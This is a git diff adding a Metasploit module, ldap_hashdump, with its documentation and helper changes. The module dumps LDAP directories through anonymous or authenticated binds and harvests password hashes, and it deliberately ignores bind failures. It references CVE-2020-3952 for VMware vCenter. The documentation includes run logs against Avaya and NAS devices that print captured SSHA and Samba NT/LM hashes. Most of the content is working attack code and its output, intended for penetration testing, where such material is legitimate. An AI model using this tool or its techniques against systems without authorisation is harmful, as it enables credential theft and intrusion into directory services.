diff --git a/documentation/modules/auxiliary/gather/ldap_hashdump.md b/documentation/modules/auxiliary/gather/ldap_hashdump.md new file mode 100644 index 000000000000..9a715fdfa1d4 --- /dev/null +++ b/documentation/modules/auxiliary/gather/ldap_hashdump.md @@ -0,0 +1,199 @@ +## Vulnerable Application + +### Description + +This module uses an LDAP connection to dump data from LDAP server +using an anonymous or authenticated bind. +Searching for specific attributes it collects user credentials. + +### Setup + +Tested in the wild. + +You may eventually setup an intentionally insecure OpenLDAP server in docker. +The below OpenLDAP server does not have any ACL, therefore the hashPassword +attributes are readable by anonymous clients. + +``` +$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git +$ cd bitnami-docker-openldap +$ docker-compose up -d +Creating bitnami-docker-openldap_openldap_1 ... done + +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389 +RPORT => 1389 +msf5 auxiliary(gather/ldap_hashdump) > options + +Module options (auxiliary/gather/ldap_hashdump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + BIND_DN no The username to authenticate to LDAP server + BIND_PW no Password for the BIND_DN + PASS_ATTR userPassword yes LDAP attribute, that contains password hashes + RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 1389 yes The target port + SSL false no Enable SSL on the LDAP connection + USER_ATTR dn no LDAP attribute, that contains username + + +Auxiliary action: + + Name Description + ---- ----------- + Dump Dump all LDAP data + + +msf5 auxiliary(gather/ldap_hashdump) > + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against 127.0.0.1 + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=example,dc=org +[*] Dumping LDAP data from server at 127.0.0.1:1389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt +[*] Searching for attribute: userPassword +[*] Taking dn attribute as username +[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1 +[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2 +[*] Auxiliary module execution completed +msf5 auxiliary(gather/ldap_hashdump) > + +``` + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Actions + +### Dump + +Dump all LDAP data from the LDAP server. + +## Options + +### BASE_DN + +If you already have the LDAP base DN, you may set it in this option. + +### USER_ATTR + +LDAP attribute to take the user name from. Defaults to DN, however you may +wish to change it UID, name or similar. + +### PASS_ATTR + +LDAP attribute to take the password hash from. Defaults to userPassword, +some LDAP server may use different attribute, e.g. unixUserPassword, +sambantpassword, sambalmpassword. + +## Scenarios + +### Avaya Communication Manager via anonymous bind + +``` +msf5 > use auxiliary/gather/ldap_hashdump +msf5 auxiliary(gather/ldap_hashdump) > options + +Module options (auxiliary/gather/ldap_hashdump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + PASS_ATTR userPassword yes LDAP attribute, that contains password hashes + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 389 yes The target port + SSL false no Enable SSL on the LDAP connection + USER_ATTR dn no LDAP attribute, that contains username + + +Auxiliary action: + + Name Description + ---- ----------- + Dump Dump all LDAP data + + +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] +RHOSTS => [redacted_ip_address] + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=vsp +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt +[*] Searching for attribute: userPassword +[*] Taking dn attribute as username +[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[*] Auxiliary module execution completed +msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid +USER_ATTR => uid +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=vsp +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt +[*] Searching for attribute: userPassword +[*] Taking uid attribute as username +[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[*] Auxiliary module execution completed +msf5 auxiliary(gather/ldap_hashdump) > +``` + +### NASDeluxe - NAS with Samba LM/NTLM hashes + +``` +msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid +USER_ATTR => uid +msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword +PASS_ATTR => sambantpassword +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] +RHOSTS => [redacted_ip_address] + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=server,dc=nas +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt +[*] Searching for attribute: sambantpassword +[*] Taking uid attribute as username +[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634 +[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B +[*] Auxiliary module execution completed + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=server,dc=nas +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt +[*] Searching for attribute: sambalmpassword +[*] Taking uid attribute as username +[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE +[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE +[*] Auxiliary module execution completed +``` diff --git a/lib/metasploit/framework/hashes/identify.rb b/lib/metasploit/framework/hashes/identify.rb index 9ba818f9caa8..bc212e23c767 100644 --- a/lib/metasploit/framework/hashes/identify.rb +++ b/lib/metasploit/framework/hashes/identify.rb @@ -42,6 +42,20 @@ def identify_hash(hash) return 'des,crypt' when hash =~ /^\$dynamic_82\$[\da-f]{128}\$HEX\$[\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108 return 'dynamic_82' + when hash.start_with?(/{SSHA}/i) + return 'ssha' + when hash.start_with?(/{SHA512}/i) + return 'raw-sha512' + when hash.start_with?(/{SHA}/i) + return 'raw-sha1' + when hash.start_with?(/{MD5}/i) + return 'raw-md5' + when hash.start_with?(/{SMD5}/i) + return 'smd5' + when hash.start_with?(/{SSHA256}/i) + return 'ssha256' + when hash.start_with?(/{SSHA512}/i) + return 'ssha512' # windows when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE' return 'nt' diff --git a/lib/metasploit/framework/password_crackers/cracker.rb b/lib/metasploit/framework/password_crackers/cracker.rb index 04f75648b2e1..460fb57e635d 100644 --- a/lib/metasploit/framework/password_crackers/cracker.rb +++ b/lib/metasploit/framework/password_crackers/cracker.rb @@ -186,6 +186,20 @@ def jtr_format_to_hashcat_format(format) '10200' when 'dynamic_82' '1710' + when 'ssha' + '111' + when 'raw-sha512' + '1700' + when 'raw-sha1' + '100' + when 'raw-md5' + '0' + when 'smd5' + '6300' + when 'ssha256' + '1411' + when 'ssha512' + '1711' else nil end diff --git a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb index fbc6c37ffa41..1245bdc07bd1 100644 --- a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb +++ b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb @@ -67,7 +67,8 @@ def hash_to_hashcat(cred) when /md5|des|bsdi|crypt|bf/, /mssql|mssql05|mssql12|mysql/, /sha256|sha-256/, /sha512|sha-512/, /xsha|xsha512|PBKDF2-HMAC-SHA512/, /mediawiki|phpass|PBKDF2-HMAC-SHA1/, - /android-sha1/, /android-samsung-sha1/, /android-md5/ + /android-sha1/, /android-samsung-sha1/, /android-md5/, + /ssha/, /raw-sha512/ # md5(crypt), des(crypt), b(crypt), sha256, sha512, xsha, xsha512, PBKDF2-HMAC-SHA512 # hash-mode: 500 1500 3200 7400 1800 122 1722 7100 # mssql, mssql05, mssql12, mysql, mysql-sha1 @@ -76,6 +77,8 @@ def hash_to_hashcat(cred) # hash-mode: 3711, 400, 12001 # android-sha1 # hash-mode: 5800 + # ssha, raw-sha512 + # hash-mode: 111, 1700 return cred.private.data end end diff --git a/lib/metasploit/framework/password_crackers/jtr/formatter.rb b/lib/metasploit/framework/password_crackers/jtr/formatter.rb index bec546340985..f45b1d248408 100644 --- a/lib/metasploit/framework/password_crackers/jtr/formatter.rb +++ b/lib/metasploit/framework/password_crackers/jtr/formatter.rb @@ -63,6 +63,8 @@ def hash_to_jtr(cred) # /des(crypt)/ # /mediawiki|phpass|atlassian/ # /dynamic_82/ + # /ssha/ + # /raw-sha512/ return "#{cred.public.username}:#{cred.private.data}:#{cred.id}:" end end diff --git a/lib/msf/core/exploit/ldap.rb b/lib/msf/core/exploit/ldap.rb index 3b13ef5382cd..e8d9664086c6 100644 --- a/lib/msf/core/exploit/ldap.rb +++ b/lib/msf/core/exploit/ldap.rb @@ -7,83 +7,133 @@ require 'net-ldap' module Msf -module Exploit::Remote::LDAP - - def initialize(info = {}) - super + module Exploit::Remote::LDAP + def initialize(info = {}) + super + + register_options([ + Opt::RHOST, + Opt::RPORT(389), + OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]), + OptString.new('BIND_DN', [false, 'The username to authenticate to LDAP server']), + OptString.new('BIND_PW', [false, 'Password for the BIND_DN']) + ]) + + register_advanced_options([ + OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0]) + ]) + end - register_options([ - Opt::RHOST, - Opt::RPORT(389), - OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]) - ]) + def rhost + datastore['RHOST'] + end - register_advanced_options([ - OptFloat.new('ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0]) - ]) - end + def rport + datastore['RPORT'] + end - def rhost - datastore['RHOST'] - end + def peer + "#{rhost}:#{rport}" + end - def rport - datastore['RPORT'] - end + def get_connect_opts() + connect_opts = { + host: rhost, + port: rport, + connect_timeout: datastore['LDAP::ConnectTimeout'] + } - def peer - "#{rhost}:#{rport}" - end + if datastore['SSL'] + connect_opts[:encryption] = { + method: :simple_tls, + tls_options: { + verify_mode: OpenSSL::SSL::VERIFY_NONE + } + } + end - def ldap_connect(opts = {}, &block) - connect_opts = { - host: rhost, - port: rport, - connect_timeout: datastore['ConnectTimeout'] - } - - if datastore['SSL'] - connect_opts[:encryption] = { - method: :simple_tls, - tls_options: { - verify_mode: OpenSSL::SSL::VERIFY_NONE + if datastore['BIND_DN'] + connect_opts[:auth] = { + method: :simple, + username: datastore['BIND_DN'] } - } + if datastore['BIND_PW'] + connect_opts[:auth][:password] = datastore['BIND_PW'] + end + end + connect_opts end - Net::LDAP.open(connect_opts.merge(opts), &block) - end - - def discover_base_dn(ldap) - print_status('Searching root DSE for base DN') + def ldap_connect(opts = {}, &block) + Net::LDAP.open(get_connect_opts.merge(opts), &block) + end - unless (root_dse = ldap.search_root_dse) - print_error('Could not retrieve root DSE') - return + def ldap_new(opts = {}) + ldap = Net::LDAP.new(get_connect_opts.merge(opts)) + + # NASTY, but required + # monkey patch ldap object in order to ignore bind errors + # Some servers (e.g. OpenLDAP) return result even after a bind + # has failed, e.g. with LDAP_INAPPROPRIATE_AUTH - anonymous bind disallowed. + # See: https://www.openldap.org/doc/admin23/security.html#Authentication%20Methods + # "Note that disabling the anonymous bind mechanism does not prevent anonymous + # access to the directory." + # + # Bug created for Net:LDAP https://github.com/ruby-ldap/ruby-net-ldap/issues/375 + # + def ldap.use_connection(args) + if @open_connection + yield @open_connection + else + begin + conn = new_connection + conn.bind(args[:auth] || @auth) + # Commented out vs. original + # result = conn.bind(args[:auth] || @auth) + # return result unless result.result_code == Net::LDAP::ResultCodeSuccess + yield conn + ensure + conn.close if conn + end + end + end + yield ldap end - vprint_line(root_dse.to_ldif) + def get_naming_contexts(ldap) + vprint_status("#{peer} Getting root DSE") - # NOTE: Net::LDAP converts attribute names to lowercase - unless root_dse[:namingcontexts] - print_error('Could not find namingContexts attribute') - return - end + unless (root_dse = ldap.search_root_dse) + print_error("#{peer} Could not retrieve root DSE") + return + end + + vprint_line(root_dse.to_ldif) + + naming_contexts = root_dse[:namingcontexts] - if root_dse[:namingcontexts].empty? - print_error('Could not find base DN') - return + # NOTE: Net::LDAP converts attribute names to lowercase + if naming_contexts.empty? + print_error("#{peer} Empty namingContexts attribute") + return + end + + naming_contexts end - # NOTE: We assume the first namingContexts value is the base DN - base_dn = root_dse[:namingcontexts].first + def discover_base_dn(ldap) + naming_contexts = get_naming_contexts(ldap) - print_good("Discovered base DN: #{base_dn}") - base_dn - rescue Net::LDAP::Error => e - print_error("#{e.class}: #{e.message}") - nil - end + unless naming_contexts + print_error("#{peer} Base DN cannot be determined") + return + end -end + # NOTE: We assume the first namingContexts value is the base DN + base_dn = naming_contexts.first + + print_good("#{peer} Discovered base DN: #{base_dn}") + base_dn + end + end end diff --git a/modules/auxiliary/gather/ldap_hashdump.rb b/modules/auxiliary/gather/ldap_hashdump.rb new file mode 100644 index 000000000000..3ec6b5e4a8fb --- /dev/null +++ b/modules/auxiliary/gather/ldap_hashdump.rb @@ -0,0 +1,396 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/hashes/identify' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::LDAP + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LDAP Information Disclosure', + 'Description' => %q{ + This module uses an anonymous-bind LDAP connection to dump data from + an LDAP server. Searching for attributes with user credentials + (e.g. userPassword). + }, + 'Author' => [ + 'Hynek Petrak' # Discovery, module + ], + 'References' => [ + ['CVE', '2020-3952'], + ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'] + ], + 'DisclosureDate' => '2020-07-23', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Dump', 'Description' => 'Dump all LDAP data'] + ], + 'DefaultAction' => 'Dump', + 'DefaultOptions' => { + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + Opt::RPORT(636), # SSL/TLS + OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]), + OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]), + OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']), + OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']), + OptString.new('PASS_ATTR', [ + true, 'LDAP attribute, that contains password hashes', + 'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword' + # Other potential candidates: + # ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory + ]) + ]) + end + + def user_attr + @user_attr ||= 'dn' + end + + def print_ldap_error(ldap) + opres = ldap.get_operation_result + msg = "LDAP error #{opres.code}: #{opres.message}" + unless opres.error_message.to_s.empty? + msg += " - #{opres.error_message}" + end + print_error("#{peer} #{msg}") + end + + # PoC using ldapsearch(1): + # + # Retrieve root DSE with base DN: + # ldapsearch -xb "" -s base -H ldap://[redacted] + # + # Dump data using discovered base DN: + # ldapsearch -xb bind_dn -H ldap://[redacted] \* + - + def run_host(ip) + @rhost = ip + + @read_timeout = datastore['READ_TIMEOUT'] || 600 + + entries_returned = 0 + + print_status("#{peer} Connecting...") + ldap_new do |ldap| + if ldap.get_operation_result.code == 0 + vprint_status("#{peer} LDAP connection established") + else + # Even if we get "Invalid credentials" error, we may proceed with anonymous bind + print_ldap_error(ldap) + end + + if (base_dn_tmp = datastore['BASE_DN']) + vprint_status("#{peer} User-specified base DN: #{base_dn_tmp}") + naming_contexts = [base_dn_tmp] + else + vprint_status("#{peer} Discovering base DN(s) automatically") + + begin + # HACK: fix lack of read/write timeout in Net::LDAP + Timeout.timeout(@read_timeout) do + naming_contexts = get_naming_contexts(ldap) + end + rescue Timeout::Error + fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts') + ensure + unless ldap.get_operation_result.code == 0 + print_ldap_error(ldap) + end + end + + if naming_contexts.nil? || naming_contexts.empty? + vprint_warning("#{peer} Falling back to an empty base DN") + naming_contexts = [''] + end + end + + @max_loot = datastore['MAX_LOOT'] + + @user_attr ||= datastore['USER_ATTR'] + @user_attr ||= 'dn' + vprint_status("#{peer} Taking '#{@user_attr}' attribute as username") + + pass_attr ||= datastore['PASS_ATTR'] + @pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase) + + # Dump root DSE for useful information, e.g. dir admin + if @max_loot.nil? || (@max_loot > 0) + print_status("#{peer} Dumping data for root DSE") + + ldap_search(ldap, 'root DSE', { + ignore_server_caps: true, + scope: Net::LDAP::SearchScope_BaseObject + }) + end + + naming_contexts.each do |base_dn| + print_status("#{peer} Searching base DN='#{base_dn}'") + entries_returned += ldap_search(ldap, base_dn, { + base: base_dn + }) + end + end + + # Safe if server did not returned anything + unless (entries_returned > 0) + fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe') + end + rescue Timeout::Error + fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory') + rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e + fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}") + end + + def ldap_search(ldap, base_dn, args) + entries_returned = 0 + creds_found = 0 + def_args = { + base: '', + return_result: false, + attributes: %w[* + -] + } + Tempfile.create do |f| + f.write("# LDIF dump of #{peer}, base DN='#{base_dn}'\n") + f.write("\n") + begin + # HACK: fix lack of read/write timeout in Net::LDAP + Timeout.timeout(@read_timeout) do + ldap.search(def_args.merge(args)) do |entry| + entries_returned += 1 + if @max_loot.nil? || (entries_returned <= @max_loot) + f.write("# #{entry.dn}\n") + f.write(entry.to_ldif.force_encoding('utf-8')) + f.write("\n") + end + @pass_attr_array.each do |attr| + if entry[attr].any? + creds_found += process_hash(entry, attr) + end + end + end + end + rescue Timeout::Error + print_error("#{peer} Host timeout reached while searching '#{base_dn}'") + return entries_returned + ensure + unless ldap.get_operation_result.code == 0 + print_ldap_error(ldap) + end + if entries_returned > 0 + print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.") + f.rewind + pillage(f.read, base_dn) + elsif ldap.get_operation_result.code == 0 + print_error("#{peer} No entries returned for '#{base_dn}'.") + end + end + end + entries_returned + end + + def pillage(ldif, base_dn) + vprint_status("#{peer} Storing LDAP data for base DN='#{base_dn}' in loot") + + ltype = base_dn.clone + ltype.gsub!(/ /, '_') + ltype.gsub!(/,/, '.') + ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '') + ltype.gsub!(/[^a-z0-9\.\_\-]+/i, '') + ltype = ltype.last(16) + + ldif_filename = store_loot( + ltype, # ltype + 'text/plain', # ctype + @rhost, # host + ldif, # data + nil, # filename + "Base DN: #{base_dn}" # info + ) + + unless ldif_filename + print_error("#{peer} Could not store LDAP data in loot") + return + end + + print_good("#{peer} Saved LDAP data to #{ldif_filename}") + + end + + def decode_pwdhistory(hash) + # https://ldapwiki.com/wiki/PwdHistory + parts = hash.split('#', 4) + unless parts.length == 4 + return hash + end + + hash = parts.last + unless hash.starts_with?('{') + decoded = Base64.decode64(hash) + if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil? + return decoded + end + end + hash + end + + def process_hash(entry, attr) + service_details = { + workspace_id: myworkspace_id, + module_fullname: fullname, + origin_type: :service, + address: @rhost, + port: rport, + protocol: 'tcp', + service_name: 'ldap' + } + + creds_found = 0 + + # This is the "username" + dn = entry[@user_attr].first # .dn + + entry[attr].each do |hash| + if attr == 'pwdhistory' + hash = decode_pwdhistory(hash) + end + + # 20170619183528ZHASHVALUE + if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i) + hash.slice!(/\d{14}Z/i) + end + + # Cases *[crypt}, !{crypt} ... + hash.gsub!(/.?{crypt}/i, '{crypt}') + + # We observe some servers base64 encdode the hash string + # and add {crypt} prefix to the base64 encoded value + # e2NyeXB0f in base64 means {crypt + # e3NtZD is {smd + if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/) + begin + hash = Base64.strict_decode64(hash.delete_prefix('{crypt}')) + rescue ArgumentError + nil + end + end + + # Some have new lines at the end + hash.chomp! + + # Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, **** + if hash.nil? || hash.empty? || + (hash.start_with?(/{crypt}/i) && hash.length < 10) || + hash.start_with?('*****') || + hash.start_with?(/yyyyyy/i) || + hash == '*' || + # reject {SASL} pass-through + hash =~ /{sasl}/i || + hash.start_with?(/xxxxx/i) || + (attr =~ /^samba(lm|nt)password$/ && + (hash.length != 32 || + hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i || + hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) || + # observed sambapassword history with either 56 or 64 zeros + (attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/) + next + end + + case attr + when 'sambalmpassword' + hash_format = 'lm' + when 'sambantpassword' + hash_format = 'nt' + when 'sambapasswordhistory' + # 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9 + # where the left part is a salt and the right part is MD5(Salt+NTHash) + # attribute value may contain multiple concatenated history entries + # for john sort of 'md5($s.md4(unicode($p)))' - not tested + hash_format = 'sambapasswordhistory' + when 'krbprincipalkey' + hash_format = 'krbprincipal' + # TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7 + # it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96: + # https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558 + # Salted with principal name: + # https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175 + # In the meantime, dump the base64 encoded value. + hash = Base64.strict_encode64(hash) + when 'userpkcs12' + # if we get non printable chars, encode into base64 + if (hash =~ /[^[:print:]]/).nil? + hash_format = 'pkcs12' + else + hash_format = 'pkcs12-base64' + hash = Base64.strict_encode64(hash) + end + else + if hash.start_with?(/{crypt}.?\$1\$/i) + hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$') + hash_format = 'md5crypt' + elsif hash.start_with?(/{crypt}/i) && hash.length == 20 + # handle {crypt}traditional_crypt case, i.e. explicitly set the hash format + hash.slice!(/{crypt}/i) + hash_format = 'descrypt' # FIXME: what is the right jtr_hash - des,crypt or descrypt ? + # identify_hash returns des,crypt, while JtR acceppts descrypt + else + # handle vcenter vmdir binary hash format + if hash[0].ord == 1 && hash.length == 81 + _type, hash, salt = hash.unpack('CH128H32') + hash = "$dynamic_82$#{hash}$HEX$#{salt}" + else + # Remove LDAP's {crypt} prefix from known hash types + hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1') + end + hash_format = identify_hash(hash) + end + end + + # higlight unresolved hashes + hash_format = '{crypt}' if hash =~ /{crypt}/i + + print_good("#{peer} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}") + + # known hash types should have been identified, + # let's assume the rest are clear text passwords + if hash_format.nil? || hash_format.empty? + credential = create_credential(service_details.merge( + username: dn, + private_data: hash, + private_type: :password + )) + else + credential = create_credential(service_details.merge( + username: dn, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: hash_format + )) + end + + create_credential_login({ + core: credential, + access_level: 'User', + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_details)) + creds_found += 1 + end + creds_found + end + +end diff --git a/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb b/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb index 2fc2aabf8101..261a2ab840ae 100644 --- a/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb +++ b/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb @@ -105,7 +105,7 @@ def run def pillage(entries) # TODO: Make this more efficient? - ldif = entries.map(&:to_ldif).join("\n") + ldif = entries.map(&:to_ldif).map { |s| s.force_encoding('utf-8') }.join("\n") print_status('Storing LDAP data in loot')